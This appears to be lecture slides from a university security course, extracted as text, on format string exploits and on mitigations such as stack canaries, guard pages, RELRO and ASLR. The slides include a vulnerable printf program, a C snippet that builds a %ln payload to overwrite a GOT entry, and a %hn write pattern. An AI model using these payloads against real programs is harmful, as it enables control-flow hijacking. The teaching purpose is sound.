Changelog. Corrections made in this version not in first posting: 1 April 2017: slide 13: a few more %c s would be needed to skip format string part

Similar documents
Yet More Buffer Overflows

Play with FILE Structure Yet Another Binary Exploitation Technique. Abstract

Outline. Format string attack layout. Null pointer dereference

Lecture 08 Control-flow Hijacking Defenses

Machine-Level Programming V: Unions and Memory layout

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University

an infinite loop Processes and Exceptions doing nothing on a busy system timing nothing

Buffer Overflow. Jinkyu Jeong Computer Systems Laboratory Sungkyunkwan University

Security Workshop HTS. LSE Team. February 3rd, 2016 EPITA / 40

Outline. Heap meta-data. Non-control data overwrite

CSE 127: Computer Security. Memory Integrity. Kirill Levchenko

Runtime Defenses against Memory Corruption

Memory Corruption 101 From Primitives to Exploit

Buffer overflow prevention, and other attacks

Secure Programming I. Steven M. Bellovin September 28,

Software Security II: Memory Errors - Attacks & Defenses

CSCI-243 Exam 1 Review February 22, 2015 Presented by the RIT Computer Science Community

Linux Memory Layout. Lecture 6B Machine-Level Programming V: Miscellaneous Topics. Linux Memory Allocation. Text & Stack Example. Topics.

CSE 509: Computer Security

Memory corruption countermeasures

Dnmaloc: a more secure memory allocator

Virtual Memory (2) 1

Hacking Blind. Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazières, Dan Boneh. Stanford University

Module: Program Vulnerabilities. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security

CS 161 Computer Security

This time. Defenses and other memory safety vulnerabilities. Everything you ve always wanted to know about gdb but were too afraid to ask

Defeat Exploit Mitigation Heap Attacks. compass-security.com 1

Changelog. Virtual Memory (2) exercise: 64-bit system. exercise: 64-bit system

Beyond Stack Smashing: Recent Advances in Exploiting. Jonathan Pincus(MSR) and Brandon Baker (MS)

CS 31: Intro to Systems Pointers and Memory. Kevin Webb Swarthmore College October 2, 2018

Introduction to Computer Systems , fall th Lecture, Sep. 28 th

Secure Software Programming and Vulnerability Analysis

CSCE 548 Building Secure Software Integers & Integer-related Attacks & Format String Attacks. Professor Lisa Luo Spring 2018

Heap Arrays. Steven R. Bagley

Software Security: Buffer Overflow Attacks (continued)

Bypassing AddressSanitizer

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES

Module: Program Vulnerabilities. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security

ECE 598 Advanced Operating Systems Lecture 12

in memory: an evolution of attacks Mathias Payer Purdue University

CS C Primer. Tyler Szepesi. January 16, 2013

Module: Program Vulnerabilities. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security

Outline. Classic races: files in /tmp. Race conditions. TOCTTOU example. TOCTTOU gaps. Vulnerabilities in OS interaction

CS 33 (Week 4) Section 1G, Spring 2015 Professor Eggert (TA: Eric Kim) v1.0

Buffer overflows (a security interlude) Address space layout the stack discipline + C's lack of bounds-checking HUGE PROBLEM

CSci 4061 Introduction to Operating Systems. Programs in C/Unix

Code Injection Attacks Buffer Overflows

Other array problems. Integer overflow. Outline. Integer overflow example. Signed and unsigned

3/7/2018. Sometimes, Knowing Which Thing is Enough. ECE 220: Computer Systems & Programming. Often Want to Group Data Together Conceptually

Virtual Memory 1. Virtual Memory

Software Security: Buffer Overflow Defenses

Virtual Memory. 11/8/16 (election day) Vote!

! What is main memory? ! What is static and dynamic allocation? ! What is segmentation? Maria Hybinette, UGA. High Address (0x7fffffff) !

New York University CSCI-UA : Advanced Computer Systems: Spring 2016 Midterm Exam

String Oriented Programming Exploring Format String Attacks. Mathias Payer

logistics: ROP assignment

Basic Buffer Overflows

Software Security: Buffer Overflow Attacks

CSC 591 Systems Attacks and Defenses Stack Canaries & ASLR

Foundations of Network and Computer Security

Cling: A Memory Allocator to Mitigate Dangling Pointers. Periklis Akritidis

CPSC 213. Introduction to Computer Systems. Procedures and the Stack. Unit 1e Feb 11, 13, 15, and 25. Winter Session 2018, Term 2

Lecture 4 September Required reading materials for this class

20: Exploits and Containment

BUFFER OVERFLOW. Jo, Heeseung

Week 5, continued. This is CS50. Harvard University. Fall Cheng Gong

Buffer Overflow. Jo, Heeseung

Hacking Blind BROP. Presented by: Brooke Stinnett. Article written by: Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Mazie`res, Dan Boneh

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University

System Security Class Notes 09/23/2013

ECE 598 Advanced Operating Systems Lecture 10

The first Secure Programming Laboratory will be today! 3pm-6pm in Forrest Hill labs 1.B31, 1.B32.

Heap Off by 1 Overflow Illustrated. Eric Conrad October 2007

Lecture 14 Notes. Brent Edmunds

Machine-Level Programming V: Advanced Topics

CS399 New Beginnings. Jonathan Walpole

Programs in memory. The layout of memory is roughly:

Memory and C/C++ modules

Secure Programming Lecture 6: Memory Corruption IV (Countermeasures)

Exploit Mitigation - PIE

Code with red border means vulnerable code. Code with green border means corrected code. This program asks the user for a password with the function

CSC 405 Computer Security Stack Canaries & ASLR

Sungkyunkwan University

CSE 565 Computer Security Fall 2018

When you add a number to a pointer, that number is added, but first it is multiplied by the sizeof the type the pointer points to.

Memory Management. Disclaimer: some slides are adopted from book authors slides with permission 1

DAY 3. CS3600, Northeastern University. Alan Mislove

Program Security and Vulnerabilities Class 2

Chapter 3 - Memory Management

CSC 1600 Memory Layout for Unix Processes"

Buffer Overflow and Protection Technology. Department of Computer Science,

Buffer overflows. Specific topics:

CS61C : Machine Structures

CSE 127 Computer Security

Memory Safety (cont d) Software Security

Function Call Convention

Virtual Memory 1. Virtual Memory

Advanced Buffer Overflow

Dynamic Memory Allocation. Zhaoguo Wang

Machine-Level Programming V: Buffer overflow

Transcription:

1

Changelog 1 Corrections made in this version not in first posting: 1 April 2017: slide 13: a few more %c s would be needed to skip format string part

OVER questions? 2

last time 3 memory management problems two objects end up at same memory location integer overflows buffer overflow despite length checking started format strings exploits attacker tells printf to read/write things

format string exploits 4 printf("the command you entered ("); printf(command); printf(") was not recognized.\n");

format string exploits 4 printf("the command you entered ("); printf(command); printf(") was not recognized.\n"); what if command is %s?

viewing the stack 5 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { printf(buffer); } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack 5 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { printf(buffer); 25 30 31 36 6c 78 20 is ASCII for %016lx } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack 5 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { printf(buffer); second argument to printf: %rsi } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack 5 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { thirdprintf(buffer); through fifth argument to printf: %rdx, %rcx, %r8, %r9 } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack 5 $ cat test format.c #include <stdio.h> int main(void) { char buffer[100]; while(fgets(buffer, sizeof buffer, stdin)) { printf(buffer); 16 bytes of stack after return address } } $./test format.exe %016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx 00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36 3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520

viewing the stack not so bad, right? 6 can read stack canaries! but actually much worse can write values!

printf manpage 7 For %n: The number of characters written so far is stored into the integer pointed to by the corresponding argument. That argument shall be an int *, or variant whose size matches the (optionally) supplied integer length modifier.

printf manpage 7 For %n: The number of characters written so far is stored into the integer pointed to by the corresponding argument. That argument shall be an int *, or variant whose size matches the (optionally) supplied integer length modifier. %hn expect short instead of int *

format string exploit: setup #include <stdlib.h> #include <stdio.h> int exploited() { printf("got here!\n"); exit(0); } int main(void) { char buffer[100]; while (fgets(buffer, sizeof buffer, stdin)) { printf(buffer); } } 8

format string overwrite: GOT 9 0000000000400580 <fgets@plt>: 400580: ff 25 9a 0a 20 00 jmpq *0x200a9a(%rip) # 601038 <_GLOBAL_OFFSET_TABLE_+0x30> 0000000000400706 <exploited>:... goal: replace 0x601030 (pointer to fgets) with 0x400726 (pointer to exploited)

format string overwrite: setup 10 /* advance through 5 registers, then * 5 * 8 = 40 bytes down stack, outputting * 4916157 + 9 characters before using * %ln to store a long. */ fputs("%c%c%c%c%c%c%c%c%c%.4196157u%ln", stdout); /* include 5 bytes of padding to make current location * in buffer match where on the stack printf will be reading. */ fputs("?????", stdout); void *ptr = (void*) 0x601038; /* write pointer value, which will include \0s */ fwrite(&ptr, 1, sizeof(ptr), stdout); fputs("\n", stdout);

demo 11

demo 12 but millions of characters of junk output? can do better write value in multiple pieces use multiple %n

format string exploit pattern (x86-64) 13 goal: write big 8-byte number at 0x1234567890ABCDEF: write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address %c%c%c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xf1 \x12\x34\x56\x78\x90\xab\xcd\xef

format string exploit pattern (x86-64) 13 goal: write big 8-byte number at 0x1234567890ABCDEF: write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address skip over registers %c%c%c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xf1 \x12\x34\x56\x78\x90\xab\xcd\xef

format string exploit pattern (x86-64) 13 goal: write big 8-byte number at 0x1234567890ABCDEF: write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address skip to near end of format string buffer %c%c%c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xf1 \x12\x34\x56\x78\x90\xab\xcd\xef

format string exploit pattern (x86-64) 13 goal: write big 8-byte number at 0x1234567890ABCDEF: write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address 9 + 991 chars is 1000 %c%c%c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xf1 \x12\x34\x56\x78\x90\xab\xcd\xef

format string exploit pattern (x86-64) 13 goal: write big 8-byte number at 0x1234567890ABCDEF: write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address write to first pointer %c%c%c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xf1 \x12\x34\x56\x78\x90\xab\xcd\xef

format string exploit pattern (x86-64) 13 goal: write big 8-byte number at 0x1234567890ABCDEF: write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address 1000 + 1000 = 2000 %c%c%c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xf1 \x12\x34\x56\x78\x90\xab\xcd\xef

format string exploit pattern (x86-64) 13 goal: write big 8-byte number at 0x1234567890ABCDEF: write 1000 (short) to address 0x1234567890ABCDEF write 2000 (short) to address 0x1234567890ABCDF1 buffer starts 16 bytes above printf return address write to second pointer %c%c%c%c%c%c%c%c%c%c%c%.991u%hn%.1000u%hn \x12\x34\x56\x78\x90\xab\xcd\xf1 \x12\x34\x56\x78\x90\xab\xcd\xef

format string assignment 14 released Friday one week good global variable to target to keep it simple/consistently working more realistic: target GOT entry and use return oriented programming (later)

control hijacking generally 15 usually: need to know/guess program addresses usually: need to insert executable code usually: need to overwrite code addresses next topic: countermeasures against these later topic: defeating those later later topic: secure programming languages

control hijacking flexibility 16 lots of generic pointers to code vtables, GOT entries, function pointers, return addresses pretty much any large program data pointer overwrites become code pointer overwrites overwrite data pointer to point to code pointer data pointers are everywhere! type confusion from use-after-free is pointer overwrite bounds-checking won t solve all problems

first mitigation: stack canaries 17 saw: stack canaries tries to stop: overwriting code addresses (as long it s return addresses) by assuming: compile-in protection attacker can t read off the stack attacker can t skip parts of the stack

second mitigation: address space randomization 18 problem for the stack smashing assignment tries to stop: know/guess programming addresses by assuming: program doesn t leak addresses relevant addresses can be changed (not hard-coded in progrma)

next topic 19 comparing mitigations what do they assume the attacker can do? effect on performance? recompilation? rewriting code?

ideas for mitigations 20

exploit mitigations 21 usually attack exploit, not vulernablity e.g. buffer overflow still happens but not bad

stack canary highest address (stack started here) return address for vulnerable: 37 fd 40 00 00 00 00 00 (0x40fd37) canary: b1 ab bd e8 31 15 df 31 unused space (12 bytes) buffer (100 bytes) increasing addresses return address for scanf 22

stack canary highest address (stack started here) return address for vulnerable: 70 fd ff ff ff ff 00 00 (0x7fff ffff fd70) canary:?????????????? unused space (12 bytes) buffer (100 bytes) machine code for the attacker to run increasing addresses return address for scanf 22

stack canaries 23 detects (like canary in mine) overwriting of return address assuming attacker can t skip bytes when overwriting

alternative: shadow stacks 24 main stack @ 0x7 0000 0000 shadow stack @ 0x8 0000 0000 local variables for foo arguments for bar local variables for bar arguments for baz return address for foo return address for bar return address for baz stack pointer shadow stack pointer

implementing shadow stacks 25 bigger changes to compiler than canaries more overhead to call/return from function changes calling convention

protection mechanisms 26 compiler-added checks add checks for before risky operation idea: exploit turns into deliberate abort hardware/os protections control memory address/permissions free already checked on every memory access idea: exploit turns into segfault

recall(?): virtual memory illuision of dedicated memory Program A addresses Program B addresses mapping (set by OS) mapping (set by OS) = kernel-mode only real memory Program A code Program B code Program A data Program B data OS data trigger error 27

the mapping (set by OS) program address range read? write?exec? real address 0x0000 --- 0x0FFF no no no --- 0x1000 --- 0x1FFF no no no --- 0x40 0000 --- 0x40 0FFF yes no yes 0x... 0x40 1000 --- 0x40 1FFF yes no yes 0x... 0x40 2000 --- 0x40 2FFF yes no yes 0x... 0x60 0000 --- 0x60 0FFF yes yes no 0x... 0x60 1000 --- 0x60 1FFF yes yes no 0x... 0x7FFF FF00 0000 0x7FFF FF00 0FFF yes yes no 0x... 0x7FFF FF00 1000 0x7FFF FF00 1FFF yes yes no 0x... 28

Virtual Memory 29 modern hardware-supported memory protection mechanism via table: OS decides what memory program sees whether it s read-only or not granularity of pages typically 4KB not in table segfault (OS gets control)

stack canary alternative 30 highest address (stack started here) increasing addresses return address for vulnerable: 0x40fd37 guard page minimum 4KB buffer

stack canary alternative 30 highest address (stack started here) increasing addresses return address for vulnerable: 0x40fd37 guard page minimum 4KB buffer 0x7FFFF 2000 0x7FFFF 1000 address 0x7FFFF2000- yes 0x7FFFF2FFF 0x7FFFF1000- no 0x7FFFF1FFF 0x7FFFF0000- yes 0x7FFFF0FFF read write yes no yes

guard pages 31 deliberate holes accessing segfualt call to OS to allocate (not very fast) likely to waste memory guard around object? minimum 4KB object

malloc/new guard pages 32 the heap increasing addresses guard page malloc(6000) (or new char[6000]) unused space guard page

guard pages for malloc/new 33 can implement malloc/new by placing guard pages around allocations commonly done by real malloc/new s for large allocations problem: minimum actual allocation 4KB problem: substantially slower example: Electric Fence allocator for Linux (early 1990s)

stack canary alternative 2 34 highest address (stack started here) increasing addresses return address for vulnerable: 0x40fd37 unused space buffer

stack canary alternative 2 34 increasing addresses highest address (stack started here) return address for vulnerable: 0x40fd37 unused space buffer 0x7FFFF 2000 0x7FFFF 1000 address 0x7FFFF2000- yes 0x7FFFF2FFF 0x7FFFF1000- yes 0x7FFFF1FFF 0x7FFFF0000- yes 0x7FFFF0FFF read write yes no yes

read-only memory 35 does not help (unless a lot of space is wasted) with: return addresses VTable pointers function pointers in structs does help: global offset table

RELRO 36 RELocation Read-Only Linux option: make GOT read-only after written requires disable lazy linking (could do without disabling but much slower startup) my laptop: about 14% of programs have this enabled

program memory (x86-64 Linux; no-aslr) Used by OS Stack 0xFFFF FFFF FFFF FFFF 0xFFFF 8000 0000 0000 0x0000 7FFF FFFF FFFF Dynamic/Libraries (mmap) Heap (brk/sbrk) Writable data Code + Constants 0x0000 2aaa aaaa b000 0x0000 0000 0060 0000* (constants + 2MB alignment) 0x0000 0000 0040 0000 37

exploits and fixed addresses 38 address of shellcode stack global variable heap address of GOT

discovering fixed addresses 39 get copy of executable + debugger/etc. hope it s the same each time information leak convince program to output target address (e.g. stack address) guess and check know stack start/heap start only so many possibilities

address space layout randomization (ASLR) 40 assume: addresses don t leak choose random addresses each time enough possibilities that attacker won t get lucky should prevent exploits can t write GOT/shellcode location

Linux stack randomization (x86-64) 41 1. choose random number between 0 and 0x3F FFFF 2. stack starts at 0x7FFF FFFF FFFF - random number 0x1000 randomization disabled? random number = 0 16 GB range!

Linux stack randomization (x86-64) 41 1. choose random number between 0 and 0x3F FFFF 2. stack starts at 0x7FFF FFFF FFFF - random number 0x1000 randomization disabled? random number = 0 16 GB range!

program memory (x86-64 Linux; ASLR) Used by OS Stack Dynamic/Libraries (mmap) 0xFFFF FFFF FFFF FFFF 0xFFFF 8000 0000 0000 ± 0x004 0000 0000 ± 0x100 0000 0000 (filled from top with ASLR) Heap (brk/sbrk) Writable data Code + Constants ± 0x200 0000 0x0000 0000 0060 0000* (constants + 2MB alignment) 0x0000 0000 0040 0000 42

program memory (x86-32 Linux; ASLR) Used by OS Stack Dynamic/Libraries (mmap) 0xFFFF FFFF 0xC000 0000 ± 0x080 0000 (default) ± 0x008 0000 (default) Heap (brk/sbrk) Writable data Code + Constants ± 0x200 0000 0x0804 8000 43

how much guessing? 44 gaps change by multiples of page (4K) lower 12 bits are fixed 64-bit: huge ranges need millions of guesses about 30 randomized bits in addresses 32-bit: smaller ranges hundreds of guesses only about 8 randomized bits in addresses why? only 4 GB to work with! can be configured higher but larger gaps

program memory (x86-64 Linux; ASLR) Used by OS Stack Dynamic/Libraries (mmap) 0xFFFF FFFF FFFF FFFF 0xFFFF 8000 0000 0000 ± 0x004 0000 0000 ± 0x100 0000 0000 (filled from top with ASLR) Heap (brk/sbrk) Writable data Code + Constants ± 0x200 0000 0x0000 0000 0060 0000* (constants + 2MB alignment) 0x0000 0000 0040 0000 45

program memory (x86-64 Linux; ASLR) Used by OS Stack 0xFFFF FFFF FFFF FFFF 0xFFFF 8000 0000 0000 ± 0x004 0000 0000 ± 0x100 0000 0000 why are these addresses fixed? Dynamic/Libraries (mmap) (filled from top with ASLR) Heap (brk/sbrk) Writable data Code + Constants ± 0x200 0000 0x0000 0000 0060 0000* (constants + 2MB alignment) 0x0000 0000 0040 0000 45